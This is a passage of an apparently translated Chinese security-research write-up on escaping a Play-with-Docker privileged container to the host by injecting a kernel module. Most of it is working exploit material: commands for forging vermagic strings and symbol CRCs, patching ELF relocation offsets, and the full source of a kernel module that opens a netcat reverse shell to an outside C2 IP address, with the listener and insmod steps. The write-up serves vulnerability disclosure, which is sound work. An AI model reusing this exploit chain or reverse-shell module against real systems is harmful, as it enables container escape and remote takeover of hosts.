(接上文)
第3步:编辑相关的字段以匹配目标内核。
我们需要替换vermagic(见第5行)和CRC(见第25-27行),使其匹配目标内核。
之后,我们就得到PWD的CEPH.KO模块。
为了从ceph.ko模块中提取内核版本和函数的CRC,可以运行modinfo命令:
$ modinfo ceph.ko filename: /root/cprojects/kernelmod/play-docker/ceph.ko license: GPL description: Ceph filesystem for Linux author: Patience Warnick <[email protected]> author: Yehuda Sadeh <[email protected]> author: Sage Weil <[email protected]> alias: fs-ceph srcversion: C985B22FADB19E9D06914CC depends: libceph,fscache intree: Y vermagic: 4.4.0-96-generic SMP mod_unload modversions signat: PKCS#7 signer: sig_key: sig_hashalgo: md4
记录vermagic字符串。请注意,它有一个尾随的空格,复制时,请不要忘了这一个空格。
生成的头文件需要用到3个CRC符号:
module_layout, printk and __fentry__.
为了找到这些CRC,需要对目标内核的ceph.ko模块运行modprobe命令:
# modprobe --dump-modversions ceph.ko | grep printk 0x27e1a049 printk # modprobe --dump-modversions ceph.ko | grep module_layout 0xfc5ded98 module_layout # modprobe --dump-modversions ceph.ko | grep __fentry 0xbdfb6dbb __fentry__
现在,请编辑probing.mod.c,修改vermagic字符串和CRC,使其变为:
#include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions "); MODULE_INFO(name, KBUILD_MODNAME); __visible struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif .arch = MODULE_ARCH_INIT, }; #ifdef RETPOLINE MODULE_INFO(retpoline, "Y"); #endif static const struct modversion_info ____versions[] __used __attribute__((section("__versions"))) = { { /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) }, { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) }, { 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) }, }; static const char __module_depends[] __used __attribute__((section(".modinfo"))) = "depends="; MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");
请注意,printk和__fentry__的CRC并没有进行修改,这意味着它们对于本地内核和PWD内核具有相同的CRC。
第4步:修改init_module偏移量。
加载probing模块之前,需要完成的最后一步是修改其init_module可重定位偏移量。为此,需要检查PWD内核ceph.ko模块的ELF结构,以获得可重定位的init_module偏移量:
$ readelf -a ceph.ko | less
向下翻卷,直到找到如下行所示内容为止:
偏移量0x8F580处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:
Offset Info Type Sym. Value Sym. Name + Addend 000000000180 052900000001 R_X86_64_64 0000000000000000 init_module + 0 000000000338 04e700000001 R_X86_64_64 0000000000000000 cleanup_module + 0
注意,init_module的可重定位偏移量为0x180。
接下来,需要考察probing模块的init_module偏移量:
$ readelf -a probing.ko | less
向下翻卷,直到找到如下init_module所示内容为止:
在偏移量0x1bf18处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:
Offset Info Type Sym. Value Sym. Name + Addend 000000000178 002900000001 R_X86_64_64 0000000000000000 init_module + 0 000000000320 002700000001 R_X86_64_64 0000000000000000 cleanup_module + 0
从该输出结果来看,该probing模块的init_module可重定位偏移量似乎是0x178。我们需要对其进行修改,以便目标内核能够执行已安装模块的函数。
为此,我们需要在probing.ko文件的地址0x1BF18处将该偏移量改为0x180。
实际上,我们可以借助于chngelf工具来完成该任务:
$ chngelf probing.ko 0x1bf18 0x180
第5步:将“Probing”模块加载到目标内核。
对于这个probing模块来说,其下一个也是最后一个步骤是将probing.ko模块传输到PWD容器,并尝试将其加载到内核:
[node1] $ insmod probing.ko
如果加载成功,insmod将没有任何输出。
接下来,我们需要运行dmesg来转储内核消息:
$ dmesg [1921106.716039] docker_gwbridge: port 67(veth4eff938) entered forwarding state [1921107.452064] Loading probing module... [1921107.456852] CRC of call_UserModeHelper = 0xc5fdef94 [1921107.464297] CRC of printk = 0x27e1a049
大功告成了!这样,我们只要能在PWD内核中运行自己的代码,就能获得所需符号的CRC了。
第3阶段:创建反向shell模块
对于反向shell来说,我们需要使用内核函数call_usermodehelper(),它可以从内核空间中准备并执行用户空间中的应用程序。
我们这里将使用一个非常简单的模块:
/* * @file NsEscape.c * @author Nimrod Stoler, CyberArk Labs * @date 29 Oct 2018 * @version 0.1 * @brief This loadable kernel module prepares a new device with * the inode of mnt namespace, which allows a container to * escape to the host by using enterns or setns() */ #include <linux/module.h> /* Needed by all modules */ #include <linux/kernel.h> /* Needed for KERN_INFO */ #include <linux/init.h> /* Needed for the macros */ #include <linux/sched/signal.h> #include <linux/nsproxy.h> #include <linux/proc_ns.h> ///< The license type -- this affects runtime behavior MODULE_LICENSE("GPL"); ///< The author -- visible when you use modinfo MODULE_AUTHOR("Nimrod Stoler"); ///< The description -- see modinfo MODULE_DESCRIPTION("NS Escape LKM"); ///< The version of the module MODULE_VERSION("0.1"); static int __init escape_start(void) { int rc; static char *envp[] = { "SHELL=/bin/bash", "HOME=/home/cyberark", "USER=cyberark", "PATH=/home/cyberark/bin:/home/cyberark/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/cyberark", "DISPLAY=:0", "PWD=/home/cyberark", NULL}; char *argv[] = { "/bin/busybox", "nc", "54.87.128.209", "4444", "-e", "/bin/bash", NULL }; rc = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC); printk("RC is: %i \n", rc); return 0; } static void __exit escape_end(void) { printk(KERN_EMERG "Goodbye!\n"); } module_init(escape_start); module_exit(escape_end);
该模块会调用busybox程序包中的netcat工具,它应该已经根据C2服务器的IP和端口以反向shell模式安装到了主机的文件系统上。
接下来,我们为nsescape代码创建一个makefile文件,并进行编译:
obj-m = nsescape.o all: make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
然后,执行下列命令:
$ make make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/nsescape modules make[1]: Entering directory '/root/debian/linux-4.17-rc2' Building modules, stage 2. MODPOST 1 modules read continue
当make进程停止后,编辑文件nsescape.mod.c,就像我们对probing模块所做的那样,修改vermagic和CRC:
#include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions "); MODULE_INFO(name, KBUILD_MODNAME); __visible struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif .arch = MODULE_ARCH_INIT, }; #ifdef RETPOLINE MODULE_INFO(retpoline, "Y"); #endif static const struct modversion_info ____versions[] __used __attribute__((section("__versions"))) = { { /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) }, { 0xdb7305a1, __VMLINUX_SYMBOL_STR(__stack_chk_fail) }, { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) }, { /*0xa7eedcc4*/ 0xc5fdef94, __VMLINUX_SYMBOL_STR(call_usermodehelper) }, { 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) }, }; static const char __module_depends[] __used __attribute__((section(".modinfo"))) = "depends="; MODULE_INFO(srcversion, "E4B73EA24DFD56CAEDF8C67");
修改vermagic,使其匹配目标内核,同时,还要修改module_layout和call_usermodhelper符号的CRC,使其匹配运行probing模块时所获得的数字。不过,其他CRC(printk、__fentry__和__stack_chk_fail的CRC)在这两个内核之间貌似没有变化。
最后,使用chngelf工具将输出文件中的init_module可重定位偏移量从0x178改为0x180,就像处理probing模块时所做的那样。
在PWD主机上执行远程代码
现在,运行netcat,以准备好C2服务器:
nc –l 4444 -vvv
最后一步是将nsespace.ko文件传送到目标计算机,即Play–with-Docker容器上面,并执行如下所示的命令:
[node1] $ insmod nsescape.ko
这样,我们可以使用远程shell从PWD容器成功逃逸到主机了!(演示视频见原文)
结束语
要想从Linux容器获得主机访问权限,即使不是不可能的话,也是一项非常艰巨的任务。不过,在这个PWD示例中,情况好像并非如此。
其实,其中的原因很简单:由于PWD使用了具有特权的容器,所以,在修复该漏洞之前,很难为其提供相应的安全防护。
虽然从PWD容器逃逸到主机非常困难——但正如我们在本文中所展示的那样,这并不是不可能的。并且,Linux内核模块注入只是攻击者可以利用的途径之一。并且,其他攻击途径也是存在的,所以,在使用特权容器时,必须妥善加以处理。